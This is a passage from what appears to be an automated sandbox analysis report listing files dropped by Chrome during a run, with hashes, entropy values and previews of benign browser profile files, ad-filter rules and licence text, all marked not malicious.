SHA-512: 84D3930579FD73C7D86144D5CDC636436955BA79759273C740D2D72BC4847F2F7F165BBCA3EB2E4DFB01777D6A5F141623278C1BF74615C5A491092CE3FD1602

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248543677350473","port":443,"protocol_str":"quic"},{"advert
ised_versions":[],"expiration":"13248543677350474","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31344},"server":"https://dns.google","support
s_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501474403","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":
"13248543501474403","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31656},"server":"https://clients2.googleusercontent.com","supports_spdy":true},
{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501454993","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"1324854350
1454994","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":39369},"server":"https://www.googleapis.com","supports_spdy":true},

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Rv:1qIFJ

MD5: 6752A1D65B201C13B62EA44016EB221F

SHA1: 58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E03
89

Malicious: false

Preview: MANIFEST-000004.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Rv:1qIFJ

MD5: 6752A1D65B201C13B62EA44016EB221F

SHA1: 58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E03
89

Malicious: false

Preview: MANIFEST-000004.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4899

Entropy (8bit): 4.963699352864

Encrypted: false

SSDEEP: 48:YcxUklSLklwHjhceCNqA6iqTlYqlQKHoTw0GPH3CH3G/s8C1Nfct/9BhUJo3KhmI:nxCI0N1pcKIwok0JCKL82bOTQVuwn

MD5: A3D229A47DBAD833A6788313F59F5B68

SHA1: 45647A7D343056FFB50D161ADF00EFF2B925C711

SHA-256: C4D2336B1323AFEEFE5996A30EC38F36DDBEB2415E83957CE38B2AB81EACAF3F

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\e8e9a481-0594-4ae5-9c57-fa513cb79866.tmp

Copyright Joe Security LLC 2022 Page 24 of 211



SHA-512: 3E68748DC7CC4D2F60FB04AAB74A66337A475CC6B7A79D5DD58F1827D4A1B162041FE1FAE94B39B0BF4897F3B8549E1644F040B4604CFEA8C34E102E5EE790C
C

Malicious: false

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13299180838484368","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 106

Entropy (8bit): 3.138546519832722

Encrypted: false

SSDEEP: 3:tbloIlrJ5ldQxl7aXVdJiG6R0RlAl:tbdlrnQxZaHIGi0R6l

MD5: DE9EF0C5BCC012A3A1131988DEE272D8

SHA1: FA9CCBDC969AC9E1474FCE773234B28D50951CD8

SHA-256: 3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590

SHA-512: CEA946EBEADFE6BE65E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691
724

Malicious: false

Preview: C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 13

Entropy (8bit): 2.8150724101159437

Encrypted: false

SSDEEP: 3:Yx7:4

MD5: C422F72BA41F662A919ED0B70E5C3289

SHA1: AAD27C14B27F56B6E7C744A8EC5B1A7D767D7632

SHA-256: 02E71EB4C587FEB7EE00CE8600F97411C2774C2FC34CB95B92D5538E7F30DA59

SHA-512: 86010ED2B2EEBDCC5A8A076B37703669C294C6D1BFAAEA963E26A9C94B81B4C53EC765D9425E5B616159C43923F800A891F9B903659575DF02F8845521F8DC46

Malicious: false

Preview: 85.0.4183.121

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 200310

Entropy (8bit): 6.0450968341163716

Encrypted: false

SSDEEP: 3072:kguYruD6fAnjGrlEDtADU1GSvaLxv9CDEoKFcbXafIB0u1GOJmA3iuR+:kgf8qhZMAw15v4rYEoAaqfIlUOoSiuR+

MD5: 9ADAFD960BD059A3787ADE4B65D9F405

SHA1: 6FF765B569D8BFAF5DC24FE4125FE6E36AE53A6C

SHA-256: E447E7D2C797B7E5169C3D42E11F6BC8399159A58BF9217AADF8A4AE23622E47

SHA-512: 925FE9A6A7EA36408C16000E6905393FD1585643DFB6C06B819301A998E07485C0FAF374BC38D9236BF029042B0F54CEE2E3589E521E81856ED698A09687BE6A

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.6547072399009e+12,"network":1.654674841e+12,"ticks":130887661.0,"uncertainty":3930767.0}},"os_crypt":{"encrypted_
key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiw
g8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj
2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pass
word_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639805715"},"plugins":{"metadata":{"adobe-flash-player":{"displa

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 101472

Entropy (8bit): 3.751957474148612

Encrypted: false

SSDEEP: 384:ibSVh/Y6AV4XHVEKZ8NJrSvN/O3OhfmHnCGKtrosZWQ5mxlTVDrzKrolmQkuYXpM:XyKgFi4MKMe7bpPEv/YXbe3Kt7RJN

MD5: AD1B129586FDEDDD06730968635A1931

SHA1: D74171BB761967D72906830DFA223A66F9EB78E3

SHA-256: AA99FC93A6FB41F05BA6185D8A19CFE00E50FF194F4216F9C907DF1B69E8A216

SHA-512: DD87AAAFFABEE92FB5B12B5E23A3BA8F7B5625A0EF96D9F6BA1C5280FD52AAFEF1A0CDBF9B6FEFA72FDF14630157CA7ABE8400FCA115DDE17ECB20F51CA
9AEC9

Malicious: false

Preview: \...............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....^8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 150056

Entropy (8bit): 4.8588214550289095

Encrypted: false

SSDEEP: 3072:P8C4uHgjBz+BZKEZZ3F0Sl03PzpDL7UI09QEwNyfe:P8C5go1U6IYeH

MD5: C56FF16BF9B9FC0002C0128DD0BD763D

SHA1: 5048CFDBAC5D7AAAD345BAE08E66E8C4E803CA02

SHA-256: 404AA48D274C3A8FEC3145858E00279D01E0C37A5304218E191C0156E4DE00FF

SHA-512: D993A324F5D9A1FC4FB3131252F48679750081D996295C994E2DCA4E84F2DECF7E90AF6766EFEDC2CEFC6B66194FFF38181C9E9CE45346BEEB8B3A09CE66BB
73

Malicious: false

Preview: .........................[.................................. ...X...l...h...d...0.......X...T...P...L...H.......@...<.......4...0...,.......|...`...D........... ................................'......ozama........*...'......g.bat........&..
.'......onwod.......`....'......ennab............'......nozam............(......geips.......P...((......rekoj...........@(......lgoog...........X(......uotpo........+..p(......lreko.......d...h(...............Y..........
.....Y...Y..pY..TY..8Y...Y...Y...Y...Y...Y...Y...X...Y...Y...Y...Y...Y...X..|Y..xY...X..pY..xX..hY..XX..`Y..\Y..4X..TY..PY..LY..HY..DY..@Y...X..8Y...W..0Y...W..(Y...W.. Y...Y...Y..
.Y...Y...Y...Y...Y...Y...X...X...X...X..PW..4W...X...X...X...X...W...X...X...X...X...V...X...V...V...X...X...X..xV...X...X...X...X...X...X...X...X...X..|X..4V..tX..pX..lX..hX..dX...V...U..XX
...U..PX..LX...U..DX..@X..<X..8X..xU..\U..@U..(X..$X.. X...X...X...X...U...X...X...X...X...T...T...T...T...W...W...W...W...W...W...W...W...W..LT...W...W...W...W.. T...W..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 199956

Entropy (8bit): 6.044322731312935

Encrypted: false

SSDEEP: 3072:HguYruD6fAnjGrlEDtADU1GSvaLxv9CDEoKFcbXafIB0u1GOJmA3iuR+:Hgf8qhZMAw15v4rYEoAaqfIlUOoSiuR+

MD5: A1DA1E759B19E913F274BC0E5997E499

SHA1: 54922D0DDA4BFEDA83265F1ACA974BFA8837D10A

SHA-256: 50FEA91005349D3591A296D5D8F7B08AC5BA8C0EC9E3E8A1ED481BD08D082A3E

SHA-512: 5C8BCAB9E8BC5857A9F7A1E68D666D90E486E37C94E40FF0303C73872986E59A0490AC2E0E82EE84354F5D82D72939E1B273E93CF16635251DF87C62FA8E6DB
F

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.6547072399009e+12,"network":1.654674841e+12,"ticks":130887661.0,"uncertainty":3930767.0}},"os_crypt":{"encrypted_
key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiw
g8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj
2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pass
word_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639805715"},"plugins":{"metadata":{"adobe-flash-player":{"displa

C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Indexed Rules\27\scoped_dir3960_16912406\Ruleset Data

C:\Users\user\AppData\Local\Google\Chrome\User Data\a6b47647-168f-44c8-9525-dae0f0c64acc.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\f3bb5787-3941-40d9-83e9-853eafddaa2d.tmp
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 199761

Entropy (8bit): 6.043797657746245

Encrypted: false

SSDEEP: 3072:XguYruD6fAnjGrlEDtADU1GSvaLxv9CDEoKFcbXafIB0u1GOJmA3iuR+:Xgf8qhZMAw15v4rYEoAaqfIlUOoSiuR+

MD5: 66F01BA55AF387C74B0EFD205194148D

SHA1: 8D353978B5E09084F74AD35DCBD545664C8B51CC

SHA-256: FE7F3BD0736D948061BB9B0508E2B57B0E0FA154B7D40E4F3C79FE851F5B47E9

SHA-512: 4052B27990CE0CB5D35ADB2EC6FA18FB6C847800CD0D576D377DF7414A6C69A1EC5593F7EBB711967B52E7E15FB150409B8E8B1EC9974088DEE6DAED86C896
65

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.6547072399009e+12,"network":1.654674841e+12,"ticks":130887661.0,"uncertainty":3930767.0}},"os_crypt":{"encrypted_
key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiw
g8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj
2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pass
word_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639805715"},"plugins":{"metadata":{"adobe-flash-player":{"displa

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 199956

Entropy (8bit): 6.044322731312935

Encrypted: false

SSDEEP: 3072:HguYruD6fAnjGrlEDtADU1GSvaLxv9CDEoKFcbXafIB0u1GOJmA3iuR+:Hgf8qhZMAw15v4rYEoAaqfIlUOoSiuR+

MD5: A1DA1E759B19E913F274BC0E5997E499

SHA1: 54922D0DDA4BFEDA83265F1ACA974BFA8837D10A

SHA-256: 50FEA91005349D3591A296D5D8F7B08AC5BA8C0EC9E3E8A1ED481BD08D082A3E

SHA-512: 5C8BCAB9E8BC5857A9F7A1E68D666D90E486E37C94E40FF0303C73872986E59A0490AC2E0E82EE84354F5D82D72939E1B273E93CF16635251DF87C62FA8E6DB
F

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.6547072399009e+12,"network":1.654674841e+12,"ticks":130887661.0,"uncertainty":3930767.0}},"os_crypt":{"encrypted_
key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiw
g8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj
2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pass
word_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639805715"},"plugins":{"metadata":{"adobe-flash-player":{"displa

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 97968

Entropy (8bit): 5.489893397464442

Encrypted: false

SSDEEP: 1536:ojHlFMJw9iI9Yh9FHc6cPC3CpBHTrDo630a8Q78xRAQudDv4NZ/p2GuN+BO1:6FMJw9v9efHc6cPCURDR30EYnAQuJANw

MD5: 3846A25BC9191585763E06550798BAB1

SHA1: F43D903B13AB969E2276E304795CE164F22F893C

SHA-256: C7D5D133E8F995D3E4D5B68F28BE0D7B1F290DFBD1502E0EC260142325FA8F88

SHA-512: 6B1E1776DE4B4B7D7BD7E6252F555AD84CC689EFE1F3920B3ACFE23DE65212254FC219E0A530037A5EA819894BC2F5B85ECFC0ADDEE9AF3163393AA32F97BA
44

Malicious: false

Preview: ............0.8.@.R.-728x90...........0.8.@.R.adtdp.com^..........0.8.@.R.yomeno.xyz^.:........*...adcore.com.au..*...adcore.ch..0.8.@.R./adcore_..........0.8.@.R.uwoapte
e.com^.8......*...safeway.com0.8.@.R.fwcdn2.com/js/embed-feed.js..........0.8.@.R._468_60..3........0.8.@.R#/wp-content/plugins/wp-super-popup/.9........0.8.@.R
)bancodevenezuela.com/imagenes/publicidad/..........0.8.@.R..adbutler-..........0.8.@.R.adrecover.com^..........0.8.@.R.hdbcode.com^.?........*...google.com0.8.@.R!develo
pers.google.com/google-ads/.-........*...konograma.com..0.8.@.R./adserver...........*...vk.com0.8.@.R.vk.me/css/al/ads.css.,........0.8.@.R.mysmth.net/nForum/*/ADAgent_..
........0.8.@.R.indoleads.com^.%......0.8.@.R.discordapp.com/banners/.E........*...daum.net0.8.@.R)daumcdn.net/adfit/static/ad-native.min.js.(........0.8.@.R.looker.com/a
pi/internal/.#........0.8.@.R.broadstreetads.com^..........0.8.@.R./banner.cgi?...........*...thefreedictionary.com*...downloads.codefi.re*...windows7themes.net

C:\Users\user\AppData\Local\Google\Chrome\User Data\f9366ee1-81dc-42f1-b1be-e6eb13b4d535.tmp

C:\Users\user\AppData\Local\Temp\3960_1210988044\Filtering Rules

C:\Users\user\AppData\Local\Temp\3960_1210988044\LICENSE.txt
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 24623

Entropy (8bit): 4.588307081140814

Encrypted: false

SSDEEP: 384:mva5sf5dXrCN7tnBxpxkepTqzazijFgZk231Py9zD6WApYbm0:mvagXreRnTqzazWgj0v6XqD

MD5: D33AAA5246E1CE0A94FA15BA0C407AE2

SHA1: 11D197ACB61361657D638154A9416DC3249EC9FB

SHA-256: 1D4FF95CE9C6E21FE4A4FF3B41E7A0DF88638DD449D909A7B46974D3DFAB7311

SHA-512: 98B1B12FF0991FD7A5612141F83F69B86BC5A89DD62FC472EE5971817B7BBB612A034C746C2D81AE58FDF6873129256A89AA8BB7456022246DC4515BAAE2454B

Malicious: false

Preview: EasyList Repository Licences....   Unless otherwise noted, the contents of the EasyList repository..   (https://github.com/easylist) is dual licensed under the GNU General..   
Public License version 3 of the License, or (at your option) any later..   version, and Creative Commons Attribution-ShareAlike 3.0 Unported, or..   (at your option) any later 
version. You may use and/or modify the files..   as permitted by either licence; if required, "The EasyList authors..   (https://easylist.to/)" should be attributed as the source 
of the..   material. All relevant licence files are included in the repository.....   Please be aware that files hosted externally and referenced in the..   repository, including but 
not limited to subscriptions other than..   EasyList, EasyPrivacy, EasyList Germany and EasyList Italy, may be..   available under other conditions; permission must be 
granted by the..   respective copyright holders to authorise the use of their material.......Creative Commons Attribut

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1529

Entropy (8bit): 5.993915630498445

Encrypted: false

SSDEEP: 24:pZRj/flTHYfcl5kYbKqLjeT3azkaoX1pF/kSYYRVHbo0doXxOB6G6QL3foQ3QL5D:p/h4ElBbKdTakak1pFcSfRV7o0dkx8L4

MD5: 6B2EDD2D0C16E5D77BD2C3E4AE88C95F

SHA1: BC82982FA8A04FA6FD9F17DA03D443A57E0F78D4

SHA-256: CA0F5F75FC56FBEDA7522B2C83707A451D01760F417C497A37C70554E290B737

SHA-512: 533026A33030795ABF24B6E78D26763734D98CA74BFA4FAC2073EFAD0BB5CA1C38E7036BEAF17E6ABBFE56CF968E80EB3CA3CFD23AEEC10CE1280E8DB1C40
78C

Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJGaWx0ZXJpbmcgUnVsZXMiLCJyb290X2hhc2giOiJMTF90X0NkWWRYUnpMSHJBZ3hmUW5tcENTaXlkWEtzVVlJZnZjLTR0czRBIn0seyJwYXRoIjoiTEl
DRU5TRS50eHQiLCJyb290X2hhc2giOiIyaWswNmk0TFlCdVNHNWphRGFIS253NE9pdnVSRzZsQ0JKMVk0TGtzRFJJIn0seyJwYXRoIjoibWFuaWZlc3QuanNvbiIsInJvb
3RfaGFzaCI6Imo4MmhRZGhaa0MwMjFWOEZ1MHUtMExvMnVJdXI5SzdFem5JcHE3WHd2YlkifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk
2fV0sIml0ZW1faWQiOiJnY21qa21nZGxnbmtrY29jbW9laW1pbmFpam1tam5paSIsIml0ZW1fdmVyc2lvbiI6IjkuMzYuMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":
[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"VM_rIA1uXuXjbhz_uZ8uQp9F3FfgEgGTjCXL08Q_jrGXXH-Yty1DqAw4yzWsadeOjVRozUf
_7kBrYJ2U8Y8slircdLRbrqJejQeyyrJx4HFT8qgZEb60YHdsOd76C57YzF5dXErpjT7_FkWA41lTxLQvdWbACMO0DE7uOHO9mZx5pM98Ni9GsM_yxJbRSyD
ZWa8BdPHErfMuO6YE6D8tbnYTr2tXcMV9p2ZEAFMiso2B-6DSr

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit): 3.9458563396006063

Encrypted: false

SSDEEP: 3:SWllBTGVn1VJ8U1hRGGpWdTdSATn:SWNT+eKhRR4dTVT

MD5: 991F44CE02222E783A1FEFE4187727CE

SHA1: 9855D1CA0338ADCD5829C3260BF7FAAF88A23509

SHA-256: 58704ADE087671AA1226BC9CEC1719F5B80B90C571EF747812A64458BBEA0F50

SHA-512: C2616426939B235620A22B24A9BEC6D4F7DBB695C812F1784A4C95B41E53A21F371A6C440177CFABDE47E203EB83269F9013FC75C6D758EA6FDFE7B52B4A554
E

Malicious: false

Preview: 1.34ff2e9d7a7ce81c5d760d4b0f4b59a0237dd5db0d1e84ccd5103a30687eac17

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 115

C:\Users\user\AppData\Local\Temp\3960_1210988044\_metadata\verified_contents.json

C:\Users\user\AppData\Local\Temp\3960_1210988044\manifest.fingerprint

C:\Users\user\AppData\Local\Temp\3960_1210988044\manifest.json
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Entropy (8bit): 4.563301657145084

Encrypted: false

SSDEEP: 3:rR6TAulhFphifFHXG7LGMdv5HcDKhtUJKS1Avn:F6VlMZWuMt5SKPS1Avn

MD5: 47B89067C397B3EABBD04E6FC4008B71

SHA1: 7B4E623806D7EA8BFCD2FE6836A21E50C9F9340E

SHA-256: 8FCDA141D859902D36D55F05BB4BBED0BA36B88BABF4AEC4CE7229ABB5F0BDB6

SHA-512: FDA1CE8EB24A05F65E8132248EEF96C422E5AA2D3254B590FBFD3FCB2016E3B7F6E4B53702D88E1695D4BEC0175F72EB4256CDAA2FF72DDF4390D480D04BA3
73

Malicious: false

Preview: {.  "manifest_version": 2,.  "name": "Subresource Filtering Rules",.  "ruleset_format": 1,.  "version": "9.36.0".}.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 1558

Entropy (8bit): 5.11458514637545

Encrypted: false

SSDEEP: 48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH

MD5: EE002CB9E51BB8DFA89640A406A1090A

SHA1: 49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2

SHA-256: 3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B

SHA-512: D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF917
7C

Malicious: false

Preview: // Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided 
that the following conditions are.// met:.//.//    * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..//   
 * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other 
materials provided with the.// distribution..//    * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived 
from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" 
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS 
FOR.// A PARTICULAR 

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1511

Entropy (8bit): 5.978287183927474

Encrypted: false

SSDEEP: 24:pZRj/flTU3Yqfyh1m2joYF47aoXSi7K2PR/n8ijmoXRFlzw546kK:p/hUIqfyhY7akSMK2PRP8nkR3wq69

MD5: F856FA323631C47AC248E19EC8CC0A58

SHA1: 6719FCB0952383A8F3DA1872BF0B59EB69103BD0

SHA-256: 50D6DBA6A927674EA8CD84934EFABF25B4A3D9C1356B3BBEE8AD1D744A431C27

